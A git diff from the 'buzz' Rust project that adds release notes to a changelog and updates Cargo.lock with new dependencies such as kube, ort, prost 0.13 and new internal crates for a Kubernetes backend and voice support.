([`788b3c002bd2509455444f57f8a03a054b4b496a`](https://github.com/block/buzz/commit/788b3c002bd2509455444f57f8a03a054b4b496a)) +- feat: configure S3 URL addressing style ([#3400](https://github.com/block/buzz/pull/3400)) ([`7012d86d52fd188b27c7beedeaa132d9c1f61fa8`](https://github.com/block/buzz/commit/7012d86d52fd188b27c7beedeaa132d9c1f61fa8)) +- feat: add first-class OpenRouter provider support ([#1975](https://github.com/block/buzz/pull/1975)) ([`ab55fee81896d2b03edf5d2ca5012b715be2b93d`](https://github.com/block/buzz/commit/ab55fee81896d2b03edf5d2ca5012b715be2b93d)) +- feat(agent,acp): wire provider total_tokens through NIP-AM publish chain ([#3593](https://github.com/block/buzz/pull/3593)) ([`f95fdc1a102e17c6718a44323d9a2feaed702db7`](https://github.com/block/buzz/commit/f95fdc1a102e17c6718a44323d9a2feaed702db7)) + +### Other repository changes + +- fix(release): require exact-head approval for desktop tags ([#3973](https://github.com/block/buzz/pull/3973)) ([`54c8ef30a9bb9c59a4415a8a7ee84c7c5454b48a`](https://github.com/block/buzz/commit/54c8ef30a9bb9c59a4415a8a7ee84c7c5454b48a)) +- fix(release): make desktop tagging squash-safe ([#3965](https://github.com/block/buzz/pull/3965)) ([`db7e84d4f815127236b9cb080c5d374f48eaac09`](https://github.com/block/buzz/commit/db7e84d4f815127236b9cb080c5d374f48eaac09)) +- docs(nips): add single-coordinate manual-unread override layer and verification model to NIP-RS ([#2864](https://github.com/block/buzz/pull/2864)) ([`209536ade6c5ebf7fa82671d7ca0b74f599a40cc`](https://github.com/block/buzz/commit/209536ade6c5ebf7fa82671d7ca0b74f599a40cc)) +- fix(release): make immutable desktop release operable ([#3943](https://github.com/block/buzz/pull/3943)) ([`052174a148f9f6bcbb2b5a1d20ce0317645e49f8`](https://github.com/block/buzz/commit/052174a148f9f6bcbb2b5a1d20ce0317645e49f8)) +- docs: add VISION_REMOTE_AGENTS.md ([#3924](https://github.com/block/buzz/pull/3924)) ([`689617af7ad420c3266d5d2eb437757371327089`](https://github.com/block/buzz/commit/689617af7ad420c3266d5d2eb437757371327089)) +- fix(relay): align NIP-11 max_limit with REQ ceiling ([#3635](https://github.com/block/buzz/pull/3635)) ([`23f0c26b1ceba8e07bf3c160a1e08c7bda82ccd9`](https://github.com/block/buzz/commit/23f0c26b1ceba8e07bf3c160a1e08c7bda82ccd9)) +- fix(db): isolate usage metrics advisory-lock test on scratch DB ([#3670](https://github.com/block/buzz/pull/3670)) ([`dba97eecd9d8659c9c816cd6666fa6d687b6bca1`](https://github.com/block/buzz/commit/dba97eecd9d8659c9c816cd6666fa6d687b6bca1)) +- feat(release): make desktop releases immutable ([#3568](https://github.com/block/buzz/pull/3568)) ([`1dfd89ea67b4ebce0c4d10390f280ed4e7ddde8a`](https://github.com/block/buzz/commit/1dfd89ea67b4ebce0c4d10390f280ed4e7ddde8a)) +- Render mobile agent mention chips ([#3702](https://github.com/block/buzz/pull/3702)) ([`06582ee6f09e5f7454e4d8895d80a45c3cdb5e8a`](https://github.com/block/buzz/commit/06582ee6f09e5f7454e4d8895d80a45c3cdb5e8a)) +- fix(acp): preserve truncated thread context ([#3340](https://github.com/block/buzz/pull/3340)) ([`53771c8f5439f9c5c26876f0229bfcfe5da9b170`](https://github.com/block/buzz/commit/53771c8f5439f9c5c26876f0229bfcfe5da9b170)) +- docs(nips): specify kind:30621 multi-repo projects (NIP-MP) ([#3163](https://github.com/block/buzz/pull/3163)) ([`33bf7caa6ea474ccde2932c1ed05a90d7345c6e0`](https://github.com/block/buzz/commit/33bf7caa6ea474ccde2932c1ed05a90d7345c6e0)) +- feat(mobile): desktop-parity emoji and thread experience ([#3485](https://github.com/block/buzz/pull/3485)) ([`85edc0572a8540dedfa6562d40f0f875af0b5f61`](https://github.com/block/buzz/commit/85edc0572a8540dedfa6562d40f0f875af0b5f61)) +- fix(cli): resolve agents from owner records ([#3178](https://github.com/block/buzz/pull/3178)) ([`262f2392e3b7e09c78d582fb384672034d8551d5`](https://github.com/block/buzz/commit/262f2392e3b7e09c78d582fb384672034d8551d5)) +- feat(replica): portable heartbeat-token fence with snapshot-local reader routing ([#3268](https://github.com/block/buzz/pull/3268)) ([`63496cc1d4c6f1b7c613801bdcc694169dcf391a`](https://github.com/block/buzz/commit/63496cc1d4c6f1b7c613801bdcc694169dcf391a)) + +[Compare v0.5.2...desktop-v0.5.3](https://github.com/block/buzz/compare/v0.5.2...desktop-v0.5.3) + ## v0.5.2 - feat(cli): mirror Desktop mention delivery ([#3330](https://github.com/block/buzz/pull/3330)) ([`7adc46268`](https://github.com/block/buzz/commit/7adc46268d5e93f0b1d4dc8e700af22815dcac1b)) diff --git a/Cargo.lock b/Cargo.lock index 8574274303..73ecb249d4 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -52,6 +52,7 @@ dependencies = [ "cfg-if 1.0.4", "getrandom 0.3.4", "once_cell", + "serde", "version_check", "zerocopy", ] @@ -144,7 +145,7 @@ checksum = "5d0a66767aaf7d483c556386fb68ca2fba9347684d8bb17a4bd8b755851870f7" dependencies = [ "arrayvec", "aws-lc-rs", - "base64", + "base64 0.22.1", "byteorder", "minicbor", "rustls-pki-types", @@ -409,13 +410,23 @@ version = "1.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" +[[package]] +name = "atomic-write-file" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "84790c55b5704b0d35130bf16a4ce22a8e70eb0ea773522557524d9a4852663d" +dependencies = [ + "nix 0.30.1", + "rand 0.9.4", +] + [[package]] name = "attohttpc" version = "0.30.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "16e2cdb6d5ed835199484bb92bb8b3edd526effe995c61732580439c1a67e2e9" dependencies = [ - "base64", + "base64 0.22.1", "http", "log", "rustls", @@ -486,7 +497,7 @@ checksum = "31b698c5f9a010f6573133b09e0de5408834d0c82f8d7475a89fc1867a71cd90" dependencies = [ "axum-core", "axum-macros", - "base64", + "base64 0.22.1", "bytes", "form_urlencoded", "futures-util", @@ -562,6 +573,12 @@ version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fd307490d624467aa6f74b0eabb77633d1f758a7b25f12bceb0b22e08d9726f6" +[[package]] +name = "base64" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8" + [[package]] name = "base64" version = "0.22.1" @@ -580,6 +597,12 @@ version = "0.11.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "32637268377fc7b10a8c6d51de3e7fba1ce5dd371a96e342b34e6078db558e7f" +[[package]] +name = "beef" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3a8241f3ebb85c056b509d4327ad0358fbbba6ffb340bf388f26350aeda225b1" + [[package]] name = "bip39" version = "2.2.2" @@ -778,7 +801,7 @@ name = "buzz-acp" version = "0.1.0" dependencies = [ "anyhow", - "base64", + "base64 0.22.1", "buzz-core", "buzz-persona", "buzz-sdk", @@ -838,7 +861,7 @@ dependencies = [ "arc-swap", "async-trait", "axum", - "base64", + "base64 0.22.1", "getrandom 0.4.3", "hex", "nix 0.31.3", @@ -892,12 +915,32 @@ dependencies = [ "uuid", ] +[[package]] +name = "buzz-backend-kubernetes" +version = "0.1.0" +dependencies = [ + "chrono", + "hex", + "http", + "http-body-util", + "k8s-openapi", + "kube", + "nostr", + "rand 0.10.1", + "rustls", + "serde", + "serde_json", + "sha2 0.11.0", + "tokio", + "tower", +] + [[package]] name = "buzz-cli" version = "0.1.0" dependencies = [ "axum", - "base64", + "base64 0.22.1", "buzz-core", "buzz-persona", "buzz-sdk", @@ -938,7 +981,7 @@ dependencies = [ name = "buzz-core" version = "0.1.0" dependencies = [ - "base64", + "base64 0.22.1", "chrono", "hex", "hmac 0.13.0", @@ -980,7 +1023,7 @@ dependencies = [ name = "buzz-dev-mcp" version = "0.1.0" dependencies = [ - "base64", + "base64 0.22.1", "buzz-cli", "buzz-core", "git-credential-nostr", @@ -1107,7 +1150,7 @@ dependencies = [ "appattest", "async-trait", "axum", - "base64", + "base64 0.22.1", "byteorder", "chrono", "getrandom 0.4.3", @@ -1142,7 +1185,7 @@ dependencies = [ "async-compression", "async-trait", "axum", - "base64", + "base64 0.22.1", "buzz-audit", "buzz-auth", "buzz-conformance", @@ -1153,11 +1196,13 @@ dependencies = [ "buzz-relay-mesh", "buzz-sdk", "buzz-search", + "buzz-test-client", "buzz-workflow", "bytes", "chrono", "dashmap", "deadpool-redis", + "ed25519-dalek", "flate2", "futures", "futures-util", @@ -1252,7 +1297,7 @@ name = "buzz-test-client" version = "0.1.0" dependencies = [ "anyhow", - "base64", + "base64 0.22.1", "buzz-core", "buzz-media", "buzz-sdk", @@ -1278,6 +1323,25 @@ dependencies = [ "uuid", ] +[[package]] +name = "buzz-voice" +version = "0.1.0" +dependencies = [ + "atomic-write-file", + "hex", + "ort", + "ort-sys", + "rand 0.10.1", + "sentencepiece-model", + "serde", + "serde_json", + "sha2 0.11.0", + "sherpa-onnx", + "symphonia", + "tempfile", + "tokenizers", +] + [[package]] name = "buzz-workflow" version = "0.1.0" @@ -1345,6 +1409,26 @@ version = "1.11.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1e748733b7cbc798e1434b6ac524f0c1ff2ab456fe201501e6497c8417a4fc33" +[[package]] +name = "bzip2" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bdb116a6ef3f6c3698828873ad02c3014b3c85cadb88496095628e3ef1e347f8" +dependencies = [ + "bzip2-sys", + "libc", +] + +[[package]] +name = "bzip2-sys" +version = "0.1.13+1.0.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "225bff33b2141874fe80d71e07d6eec4f85c5c216453dd96388240f96e1acc14" +dependencies = [ + "cc", + "pkg-config", +] + [[package]] name = "castaway" version = "0.2.4" @@ -1593,6 +1677,7 @@ dependencies = [ "itoa", "rustversion", "ryu", + "serde", "static_assertions", ] @@ -2153,6 +2238,15 @@ dependencies = [ "syn 2.0.117", ] +[[package]] +name = "dary_heap" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b1e3a325bc115f096c8b77bbf027a7c2592230e70be2d985be950d3d5e60ebe" +dependencies = [ + "serde", +] + [[package]] name = "dashmap" version = "6.2.1" @@ -2642,6 +2736,12 @@ dependencies = [ "windows-sys 0.61.2", ] +[[package]] +name = "esaxx-rs" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d817e038c30374a4bcb22f94d0a8a0e216958d4c3dcde369b1439fec4bdda6e6" + [[package]] name = "etcetera" version = "0.11.0" @@ -2699,6 +2799,12 @@ dependencies = [ "smallvec", ] +[[package]] +name = "extended" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "af9673d8203fcb076b19dfd17e38b3d4ae9f44959416ea532ce72415a6020365" + [[package]] name = "fancy-regex" version = "0.11.0" @@ -2709,6 +2815,17 @@ dependencies = [ "regex", ] +[[package]] +name = "fancy-regex" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e24cb5a94bcae1e5408b0effca5cd7172ea3c5755049c5f3af4cd283a165298" +dependencies = [ + "bit-set 0.8.0", + "regex-automata", + "regex-syntax", +] + [[package]] name = "fast-srgb8" version = "1.0.0" @@ -3022,8 +3139,8 @@ dependencies = [ "libc", "log", "rustversion", - "windows-link 0.1.3", - "windows-result 0.3.4", + "windows-link 0.2.1", + "windows-result 0.4.1", ] [[package]] @@ -3100,7 +3217,7 @@ dependencies = [ name = "git-credential-nostr" version = "0.1.0" dependencies = [ - "base64", + "base64 0.22.1", "nostr", "serde_json", "zeroize", @@ -3110,7 +3227,7 @@ dependencies = [ name = "git-sign-nostr" version = "0.1.0" dependencies = [ - "base64", + "base64 0.22.1", "chrono", "hex", "libc", @@ -3285,7 +3402,7 @@ version = "1.0.0-rc.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5f89305dc8fe34e165eaf0eb12b6e294e12381d9df9a431bcc52a5809bab4319" dependencies = [ - "base64", + "base64 0.22.1", "bon", "bytes", "futures", @@ -3548,6 +3665,7 @@ dependencies = [ "http", "hyper", "hyper-util", + "log", "rustls", "rustls-native-certs", "tokio", @@ -3591,7 +3709,7 @@ version = "0.1.20" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "96547c2556ec9d12fb1578c4eaf448b04993e7fb79cbaad930a656880a6bdfa0" dependencies = [ - "base64", + "base64 0.22.1", "bytes", "futures-channel", "futures-util", @@ -3622,7 +3740,7 @@ dependencies = [ "js-sys", "log", "wasm-bindgen", - "windows-core 0.61.2", + "windows-core 0.62.2", ] [[package]] @@ -4208,6 +4326,31 @@ dependencies = [ "ucd-trie", ] +[[package]] +name = "jsonpath-rust" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c00ae348f9f8fd2d09f82a98ca381c60df9e0820d8d79fce43e649b4dc3128b" +dependencies = [ + "pest", + "pest_derive", + "regex", + "serde_json", + "thiserror 2.0.18", +] + +[[package]] +name = "k8s-openapi" +version = "0.26.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06d9e5e61dd037cdc51da0d7e2b2be10f497478ea7e120d85dad632adb99882b" +dependencies = [ + "base64 0.22.1", + "chrono", + "serde", + "serde_json", +] + [[package]] name = "kasuari" version = "0.4.12" @@ -4253,6 +4396,70 @@ version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e037a2e1d8d5fdbd49b16a4ea09d5d6401c1f29eca5ff29d03d3824dba16256a" +[[package]] +name = "kube" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48e7bb0b6a46502cc20e4575b6ff401af45cfea150b34ba272a3410b78aa014e" +dependencies = [ + "k8s-openapi", + "kube-client", + "kube-core", +] + +[[package]] +name = "kube-client" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4987d57a184d2b5294fdad3d7fc7f278899469d21a4da39a8f6ca16426567a36" +dependencies = [ + "base64 0.22.1", + "bytes", + "chrono", + "either", + "futures", + "home", + "http", + "http-body", + "http-body-util", + "hyper", + "hyper-rustls", + "hyper-timeout", + "hyper-util", + "jsonpath-rust", + "k8s-openapi", + "kube-core", + "pem", + "rustls", + "secrecy", + "serde", + "serde_json", + "serde_yaml", + "thiserror 2.0.18", + "tokio", + "tokio-util", + "tower", + "tower-http", + "tracing", +] + +[[package]] +name = "kube-core" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "914bbb770e7bb721a06e3538c0edd2babed46447d128f7c21caa68747060ee73" +dependencies = [ + "chrono", + "derive_more", + "form_urlencoded", + "http", + "k8s-openapi", + "serde", + "serde-value", + "serde_json", + "thiserror 2.0.18", +] + [[package]] name = "lab" version = "0.11.0" @@ -4375,6 +4582,39 @@ version = "0.4.29" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897" +[[package]] +name = "logos" +version = "0.14.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7251356ef8cb7aec833ddf598c6cb24d17b689d20b993f9d11a3d764e34e6458" +dependencies = [ + "logos-derive", +] + +[[package]] +name = "logos-codegen" +version = "0.14.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59f80069600c0d66734f5ff52cc42f2dabd6b29d205f333d61fd7832e9e9963f" +dependencies = [ + "beef", + "fnv", + "lazy_static", + "proc-macro2", + "quote", + "regex-syntax", + "syn 2.0.117", +] + +[[package]] +name = "logos-derive" +version = "0.14.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24fb722b06a9dc12adb0963ed585f19fc61dc5413e6a9be9422ef92c091e731d" +dependencies = [ + "logos-codegen", +] + [[package]] name = "loom" version = "0.7.2" @@ -4434,6 +4674,22 @@ dependencies = [ "winapi", ] +[[package]] +name = "macro_rules_attribute" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b3ae8f6d608c795738406608304d30a2dfbdc8e58e44f7ba43236da5208ded3c" +dependencies = [ + "macro_rules_attribute-proc_macro", + "pastey", +] + +[[package]] +name = "macro_rules_attribute-proc_macro" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc04a4c58212d57930a24bf47d3fa87485264a3a054e9c10e042eb373573ad3c" + [[package]] name = "matchers" version = "0.2.0" @@ -4449,6 +4705,16 @@ version = "0.8.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "47e1ffaa40ddd1f3ed91f717a33c8c0ee23fff369e3aa8772b9605cc1d22f4c3" +[[package]] +name = "matrixmultiply" +version = "0.3.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f607c237553f086e7043417a51df26b2eb899d3caff94e6a67592ff992fedc7" +dependencies = [ + "autocfg", + "rawpointer", +] + [[package]] name = "maybe-async" version = "0.2.11" @@ -4545,7 +4811,7 @@ source = "git+https://github.com/Mesh-LLM/mesh-llm.git?tag=v0.74.0#e60b2fe43aa05 dependencies = [ "anyhow", "async-trait", - "base64", + "base64 0.22.1", "bytes", "crypto_box", "ed25519-dalek", @@ -4558,7 +4824,7 @@ dependencies = [ "mesh-llm-types", "model-artifact", "nostr-sdk", - "prost", + "prost 0.14.3", "rand 0.10.1", "rustls", "serde", @@ -4647,7 +4913,7 @@ dependencies = [ "argon2", "async-trait", "axum", - "base64", + "base64 0.22.1", "bytes", "chacha20poly1305", "chrono", @@ -4696,7 +4962,7 @@ dependencies = [ "opentelemetry 0.31.0", "opentelemetry-otlp 0.31.1", "opentelemetry_sdk 0.31.0", - "prost", + "prost 0.14.3", "rand 0.10.1", "regex-lite", "reqwest 0.12.28", @@ -4737,7 +5003,7 @@ version = "0.74.0" source = "git+https://github.com/Mesh-LLM/mesh-llm.git?tag=v0.74.0#e60b2fe43aa05271569fbeff2a457133aef456a1" dependencies = [ "argon2", - "base64", + "base64 0.22.1", "chacha20poly1305", "chrono", "crypto_box", @@ -4785,8 +5051,8 @@ source = "git+https://github.com/Mesh-LLM/mesh-llm.git?tag=v0.74.0#e60b2fe43aa05 dependencies = [ "anyhow", "async-trait", - "prost", - "prost-build", + "prost 0.14.3", + "prost-build 0.14.3", "protoc-bin-vendored", "rmcp", "schemars", @@ -4822,7 +5088,7 @@ dependencies = [ "anyhow", "hex", "iroh", - "prost", + "prost 0.14.3", "serde_json", "sha2 0.10.9", ] @@ -4953,7 +5219,7 @@ version = "0.18.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1db0d8f1fc9e62caebd0319e11eaec5822b0186c171568f0480b46a0137f9108" dependencies = [ - "base64", + "base64 0.22.1", "evmap", "http-body-util", "hyper", @@ -4991,6 +5257,28 @@ dependencies = [ "sketches-ddsketch", ] +[[package]] +name = "miette" +version = "7.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5f98efec8807c63c752b5bd61f862c165c115b0a35685bdcfd9238c7aeb592b7" +dependencies = [ + "cfg-if 1.0.4", + "miette-derive", + "unicode-width 0.1.14", +] + +[[package]] +name = "miette-derive" +version = "7.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db5b29714e950dbb20d5e6f74f9dcec4edbcc1067bb7f8ed198c097b8c1a818b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + [[package]] name = "mime" version = "0.3.17" @@ -5136,6 +5424,28 @@ dependencies = [ "uuid", ] +[[package]] +name = "monostate" +version = "0.1.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3341a273f6c9d5bef1908f17b7267bbab0e95c9bf69a0d4dcf8e9e1b2c76ef67" +dependencies = [ + "monostate-impl", + "serde", + "serde_core", +] + +[[package]] +name = "monostate-impl" +version = "0.1.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e4db6d5580af57bf992f59068d4ea26fd518574ff48d7639b255a36f9de6e7e9" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + [[package]] name = "more-asserts" version = "0.3.1" @@ -5242,6 +5552,21 @@ dependencies = [ "tempfile", ] +[[package]] +name = "ndarray" +version = "0.17.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "520080814a7a6b4a6e9070823bb24b4531daac8c4627e08ba5de8c5ef2f2752d" +dependencies = [ + "matrixmultiply", + "num-complex", + "num-integer", + "num-traits", + "portable-atomic", + "portable-atomic-util", + "rawpointer", +] + [[package]] name = "ndk-context" version = "0.1.1" @@ -5388,6 +5713,18 @@ dependencies = [ "memoffset", ] +[[package]] +name = "nix" +version = "0.30.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74523f3a35e05aba87a1d978330aef40f67b0304ac79c1c00b294c9830543db6" +dependencies = [ + "bitflags 2.13.0", + "cfg-if 1.0.4", + "cfg_aliases", + "libc", +] + [[package]] name = "nix" version = "0.31.3" @@ -5478,7 +5815,7 @@ version = "0.44.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c7d3d987ea7078dc36947cde532637c472a229426702e4331dd7667325378bd9" dependencies = [ - "base64", + "base64 0.22.1", "bech32", "bip39", "bitcoin_hashes", @@ -5949,7 +6286,7 @@ dependencies = [ "opentelemetry-http", "opentelemetry-proto 0.31.0", "opentelemetry_sdk 0.31.0", - "prost", + "prost 0.14.3", "reqwest 0.12.28", "thiserror 2.0.18", ] @@ -5964,7 +6301,7 @@ dependencies = [ "opentelemetry 0.32.0", "opentelemetry-proto 0.32.0", "opentelemetry_sdk 0.32.1", - "prost", + "prost 0.14.3", "thiserror 2.0.18", "tokio", "tonic", @@ -5977,11 +6314,11 @@ version = "0.31.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a7175df06de5eaee9909d4805a3d07e28bb752c34cab57fa9cff549da596b30f" dependencies = [ - "base64", + "base64 0.22.1", "const-hex", "opentelemetry 0.31.0", "opentelemetry_sdk 0.31.0", - "prost", + "prost 0.14.3", "serde", "serde_json", "tonic", @@ -5996,7 +6333,7 @@ checksum = "56d658ba1faf63f7b9c492cfbe6e0ec365440a16132d3270c1065f7b33f1b638" dependencies = [ "opentelemetry 0.32.0", "opentelemetry_sdk 0.32.1", - "prost", + "prost 0.14.3", "tonic", "tonic-prost", ] @@ -6040,6 +6377,15 @@ version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d" +[[package]] +name = "ordered-float" +version = "2.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68f19d67e5a2795c94e73e0bb1cc1a7edeb2e28efd39e2e1c9b7a40c1108b11c" +dependencies = [ + "num-traits", +] + [[package]] name = "ordered-float" version = "4.6.0" @@ -6078,6 +6424,24 @@ dependencies = [ "pin-project-lite", ] +[[package]] +name = "ort" +version = "2.0.0-rc.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7de3af33d24a745ffb8fab904b13478438d1cd52868e6f17735ef6e1f8bf133" +dependencies = [ + "ndarray", + "ort-sys", + "smallvec", + "tracing", +] + +[[package]] +name = "ort-sys" +version = "2.0.0-rc.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7b497d21a8b6fbb4b5a544f8fadb77e801a09ae0add9e411d31c6f89e3c1e90" + [[package]] name = "os_str_bytes" version = "6.6.1" @@ -6202,6 +6566,16 @@ dependencies = [ "hmac 0.12.1", ] +[[package]] +name = "pem" +version = "3.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d30c53c26bc5b31a98cd02d20f25a7c8567146caf63ed593a9d87b2775291be" +dependencies = [ + "base64 0.22.1", + "serde_core", +] + [[package]] name = "pem-rfc7468" version = "1.0.0" @@ -6259,6 +6633,16 @@ dependencies = [ "pest", ] +[[package]] +name = "petgraph" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3672b37090dbd86368a4145bc067582552b29c27377cad4e0a306c97f9bd7772" +dependencies = [ + "fixedbitset 0.5.7", + "indexmap", +] + [[package]] name = "petgraph" version = "0.8.3" @@ -6391,7 +6775,7 @@ version = "1.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "092791278e026273c1b65bbdcfbba3a300f2994c896bd01ab01da613c29c46f1" dependencies = [ - "base64", + "base64 0.22.1", "indexmap", "quick-xml 0.39.4", "serde", @@ -6457,13 +6841,22 @@ dependencies = [ "serde", ] +[[package]] +name = "portable-atomic-util" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2a106d1259c23fac8e543272398ae0e3c0b8d33c88ed73d0cc71b0f1d902618" +dependencies = [ + "portable-atomic", +] + [[package]] name = "portmapper" version = "0.19.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "eb3713e4977408279158444a18c1a01ac9bf2e7eaf1fbfd1a19ac9cd18d90721" dependencies = [ - "base64", + "base64 0.22.1", "bytes", "derive_more", "hyper-util", @@ -6633,6 +7026,16 @@ dependencies = [ "unarray", ] +[[package]] +name = "prost" +version = "0.13.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2796faa41db3ec313a31f7624d9286acf277b52de526150b7e69f3debf891ee5" +dependencies = [ + "bytes", + "prost-derive 0.13.5", +] + [[package]] name = "prost" version = "0.14.3" @@ -6640,7 +7043,27 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d2ea70524a2f82d518bce41317d0fae74151505651af45faf1ffbd6fd33f0568" dependencies = [ "bytes", - "prost-derive", + "prost-derive 0.14.3", +] + +[[package]] +name = "prost-build" +version = "0.13.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be769465445e8c1474e9c5dac2018218498557af32d9ed057325ec9a41ae81bf" +dependencies = [ + "heck", + "itertools", + "log", + "multimap", + "once_cell", + "petgraph 0.7.1", + "prettyplease", + "prost 0.13.5", + "prost-types 0.13.5", + "regex", + "syn 2.0.117", + "tempfile", ] [[package]] @@ -6653,15 +7076,28 @@ dependencies = [ "itertools", "log", "multimap", - "petgraph", + "petgraph 0.8.3", "prettyplease", - "prost", - "prost-types", + "prost 0.14.3", + "prost-types 0.14.3", "regex", "syn 2.0.117", "tempfile", ] +[[package]] +name = "prost-derive" +version = "0.13.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a56d757972c98b346a9b766e3f02746cde6dd1cd1d1d563472929fdd74bec4d" +dependencies = [ + "anyhow", + "itertools", + "proc-macro2", + "quote", + "syn 2.0.117", +] + [[package]] name = "prost-derive" version = "0.14.3" @@ -6675,13 +7111,35 @@ dependencies = [ "syn 2.0.117", ] +[[package]] +name = "prost-reflect" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b5edd582b62f5cde844716e66d92565d7faf7ab1445c8cebce6e00fba83ddb2" +dependencies = [ + "logos", + "miette", + "once_cell", + "prost 0.13.5", + "prost-types 0.13.5", +] + +[[package]] +name = "prost-types" +version = "0.13.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52c2c1bf36ddb1a1c396b3601a3cec27c2462e45f07c386894ec3ccf5332bd16" +dependencies = [ + "prost 0.13.5", +] + [[package]] name = "prost-types" version = "0.14.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8991c4cbdb8bc5b11f0b074ffe286c30e523de90fee5ba8132f1399f23cb3dd7" dependencies = [ - "prost", + "prost 0.14.3", ] [[package]] @@ -6748,6 +7206,33 @@ version = "3.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "95067976aca6421a523e491fce939a3e65249bac4b977adee0ee9771568e8aa3" +[[package]] +name = "protox" +version = "0.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f352af331bf637b8ecc720f7c87bf903d2571fa2e14a66e9b2558846864b54a" +dependencies = [ + "bytes", + "miette", + "prost 0.13.5", + "prost-reflect", + "prost-types 0.13.5", + "protox-parse", + "thiserror 1.0.69", +] + +[[package]] +name = "protox-parse" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a3a462d115462c080ae000c29a47f0b3985737e5d3a995fcdbcaa5c782068dde" +dependencies = [ + "logos", + "miette", + "prost-types 0.13.5", + "thiserror 1.0.69", +] + [[package]] name = "pulldown-cmark" version = "0.13.4" @@ -7053,7 +7538,7 @@ dependencies = [ "thiserror 2.0.18", "unicode-segmentation", "unicode-truncate", - "unicode-width", + "unicode-width 0.2.2", ] [[package]] @@ -7116,7 +7601,7 @@ dependencies = [ "strum", "time", "unicode-segmentation", - "unicode-width", + "unicode-width 0.2.2", ] [[package]] @@ -7128,6 +7613,43 @@ dependencies = [ "bitflags 2.13.0", ] +[[package]] +name = "rawpointer" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "60a357793950651c4ed0f3f52338f53b2f809f32d83a07f72909fa13e4c6c1e3" + +[[package]] +name = "rayon" +version = "1.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fb39b166781f92d482534ef4b4b1b2568f42613b53e5b6c160e24cfbfa30926d" +dependencies = [ + "either", + "rayon-core", +] + +[[package]] +name = "rayon-cond" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2964d0cf57a3e7a06e8183d14a8b527195c706b7983549cd5462d5aa3747438f" 